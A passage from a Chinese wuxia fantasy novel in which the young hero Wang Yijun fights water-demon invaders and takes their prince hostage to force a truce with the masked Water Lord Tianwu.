柚木船突然失控,急速被吸入一个涡流中,舱内众人登时东倒西歪。窗外黑影飞闪,火光东西,那些潜水船也被吸入涡流,一道急旋飞转。船身翻转螺旋,不断地撞到旁边的硬物上,继续飞也似的冲去。突然窗外一片漆黑,“砰”的一声,船头撞在岩石上,震得众人翻倒在地。此后,船身不断磕磕碰碰,朝前上方疾行。

那龙门道已被打开,海水挤压冲进密道,形成急速旋转的涡流,将闸门外的船只都卷了进来。黑暗中听见蚩尤忽然冷冷地说道:「城里定然有内奸!」

这龙门道极为隐秘,要开启这机关更是难上加难。若非里外呼应,水妖纵然发现,也绝难开启。听得此话,众少年沈默不语,城中居民相互亲爱,直如家人,要他们相信为家人出卖,实是痛苦之至。但眼下局势,又不由得他们不信。

约莫过了一盏茶的工夫,柚木船突然如被巨浪冲击,高高抛起。窗外一亮,月光透过树脂窗倾泻进来,黑影闪烁,周侧又有许多潜水船被高高冲起。船身在最高处暂停了刹那,然后便笔直下落,重重地砸在落花湖中,直将众人震得险些昏厥过去。

蚩尤不待船身停稳,便开舱跳出,叫道:「王亦君,你带他们去找宋六叔,我去救我爹爹!」

他孝心极重,担忧父亲安危,丝毫等待不得,踏浪飞奔,早去得远了。

四周已经火光熊熊,杀声震天。落花湖中泊了几十艘水妖潜船,湖心波浪喷射,一艘又一艘的水妖船只破空冲去,又高高落下。瞧这情形,水妖也刚刚到来。

周围船只中接连不断地跃出黑色劲装,背负长刀的水妖,奔上岸去。

突然一个细眉斜眼的黑衣少年满脸杀气,挥舞长鞭,从十余丈外踏波冲来。

王亦君心中一动:「这小水妖来得正好,捉了当人质,到时叫他老爹往东,他还敢往西么?」

当下眺望他身后,只有一个瘦小的瘸子和一个凤眼斜挑的美貌少女,却不见那碧琴光刀科沙度。

十四郎奔到五丈开外,猛地一连七鞭电扫而至。王亦君伸手一掌拍出,气浪狂卷,登时将那七鞭化为无形。

十四郎下盘陡然被那浩然真气击中,登时酸软疼痛,「扑通」一声双膝跪在船板上。

王亦君右掌隔空拍击,十四郎只觉得一股强大的气浪朝自己头颈猛然压下,「啊」的一声,不由自主地在船板上连叩了三个响头。众少年哈哈大笑。十四郎心中羞愤、惊愕、暴怒不能自抑,大吼一声,喷出一口鲜血,竟然昏了过去。

水妖大乱,纷纷奔来。那美貌少女惊叱道:「喂,臭小子,你想对十四郎怎样?」

娇躯一拧,蜻蜓点水,疾奔而来。王亦君对四少年低声道:「你们快往北走,去找宋六叔。我抓了这小水妖,到摘星楼会合。」

四少年对他极为崇拜,更无犹豫,应诺一声,飞也似的穿船踏水,朝北岸跑去。

王亦君朝前疾冲,反手抄起十四郎将他扛在肩上,提气奔跃。迎面撞上那美貌少女,听她喝道:「快放下十四郎!」

声音虽然凶巴巴的,却是说不出的娇媚。

王亦君心中一荡,将十四郎朝她抛去,笑道:「佳人有令,岂敢不从?给你!」

那少女一楞,似是没想到他这般爽快,当下伸手接住。

王亦君乘势冲过,探手在她脸上摸了一把,滑腻柔嫩,幽香袭人,笑道:「好香。」

那少女惊叫一声,十四郎登时松手下落。王亦君反手抓住,又扛在肩上,身形一转,到了少女左边脸颊。咫尺之距,看见那少女俏脸飞红,连耳根都成了红紫色,那凤眼睨来,娇怯动人。登时心中大动,忍不住一口吻在她的耳垂,赞道:「这边也是一般的香!」

少女惊叫声中,全身酥软,险些坐倒在地。王亦君哈哈大笑,扛着十四郎飞奔而去。王亦君心想水妖突袭蜃楼城,必定全力攻击乔羽府邸,务求速战速决。

而乔羽府中眼下必有蜃楼城群雄拼死保护,科汗淮只怕也在其中。自己倘能及时赶到,以十四郎为人质,便可以引领群雄从容退去,甚至胁令水妖退兵也未可知。

当下气势如虹,径直向乔府杀将而去。

远远地瞧见乔府门外黑压压的尽是水妖,里三层外三层团团围住,每人手中高掣火炬,火光冲天。最外一圈是数百骑兵倚立巨大怪兽,碎步兜转。

王亦君意念集中,御气双足,猛然高高跃起,腾云驾雾般飞掠腾越,冲入乔府大门之中。听到一声清脆而欢喜的叫声:「王大哥,你可来啦。」

又有白龙鹿欢嘶之声。

水妖认出他肩上所扛之人乃是朝阳谷少谷主,无不变色,纷纷通声传令,四下围聚。转眼间便有数百只水族怪兽轮番攻来。王亦君体内真气遇强则强,一经触爆,便源源不断,不可收拾。且心中正是愤怒之时,出手毫不留情,竟将怪兽打得悲嘶狂吼,四下逃窜。

刀光剑影中,只有一人的眼光从使至终,绝无旁顾,只是盯着王亦君看。那便是纤纤。她站在科汗淮的身旁,目不转睛地瞧着王亦君,心如鹿撞,有种说不出的异样感觉。她自小跟着父亲在古浪屿长大,从未见过外人。此次来到中原,王亦君是她瞧见的第一个年龄相近的男孩。但他又绝不似一个孩子,虽然年仅十四,但豪侠洒脱,倜傥之态已经可见,而且笑容可亲,叫人见了忍不住欢喜。自己不知不觉中对他便有了亲近之意,记挂之心。瞧见他被水妖围攻,她紧张得连欣都要跳出咽喉来。着急害怕,生平从未有过。也是在这一刻,她突然发觉,这认识不过一日的少年已在她心中占有颇大的位置。

纤纤一抬头,忽然瞧见父亲看着自己,嘴角微笑,登时无缘无故的双靥飞红。

但是却无法让自己的眼光从王亦君身上移开去。

王亦君故意纵声长笑道:「朝阳谷水妖,瞧瞧这是谁!」

挥舞十四郎,将他抡来舞去,当作兵器般使用。

众水妖哗然惊呼,生怕伤了少谷主,登时收了兵器,如浪潮般朝两边卷开,任他冲入乔府大院之中。

王亦君飓风般冲了进来,立身环顾,只见院中东西两列人正默然对峙,他恰巧站在中心。循声望去,纤纤骑在白龙鹿上,满脸喜悦。旁边科汗淮白发飞舞,衣袂飘飘,朝他微微一笑。再过去便是宋奕之与乔羽、蚩尤。

对面科沙度等诸多水妖将领二十余人参差站列,中间一个木面人长身而立,瞧不清他表情,但月光下那双眼睛精光四射,仿佛要穿透人心。众水妖将领见王亦君扛着十四郎都不禁讶然失声,不由自主地瞧向那木面人。

王亦君心思极快,忖道:“难道这木面人便是什么朝阳谷的水伯天吴么?”

当下又将那无锋剑横在十四郎颈上,啧啧道:「我这乖孙子细皮嫩肉的,不知道经不经得起这一刀?」

那木面人淡然笑道:「这倒奇了,家父百年前便已登仙,犬子怎么又多了一个爷爷出来?」

王亦君心想:“你果然便是这龟孙子的老爹,那可再妙不过。”

当下哈哈笑道:「妙极妙极,难怪早上一起来便左眼乱跳,原来今日咱们要父子相认。当真是天大一桩喜事。」

言下之意,我是这个小子的爷爷,你是他老子,那我当然是你老子了。纤纤格格而笑,蚩尤满脸愤怒的脸上也不禁突露莞尔之色。

众水妖无不怒形于色,但木面人未开口说话,谁也不敢抢上一句。那木面人丝毫不着恼,微笑道:「是么?那倒值得大大庆贺。不知阁下扛着犬子,这般辛苦,所为何事呢?」

王亦君笑道:「不辛苦不辛苦。乖儿子,只要你立时退兵,乖乖地回到朝阳谷去,为父便将孙子送还去。要不然喀嚓一声,我少一个孙子,你少一个儿子,那岂不糟之极矣。」

水伯天吴突然喝道:「宋奕之,还不动手!」

那宋奕之突然将刀横在乔羽脖颈上。众人大惊,王亦君喝道:「老水妖,快将乔城主放了,否则野少爷可真没耐性了!」

他一用劲,剑锋登时又进了三分,十四郎痛得大叫。

水伯天吴盯着科汗淮道:「把犬子放了,我便任由王亦君、令嫒和乔公子走出这扇大门。」

他膝下只有这么一个儿子,虽然适才言语豪壮,但实是不敢以此相赌。况且此刻岛上尽是水族围兵,他们三个少年未必逃得出去。

科汗淮沈吟半晌,「好。既然水伯这么说,咱们便一言为定。」

隔空伸掌。

水伯天吴点头道:「一言为定。」

隔空击掌为誓。王亦君在十四郎耳边低声道:「孙子,今日暂且饶你一命。下次看见爷爷,赶紧逃得远远的罢。」

轻轻一送,将他推下树去。早有水妖涌上前将他接住。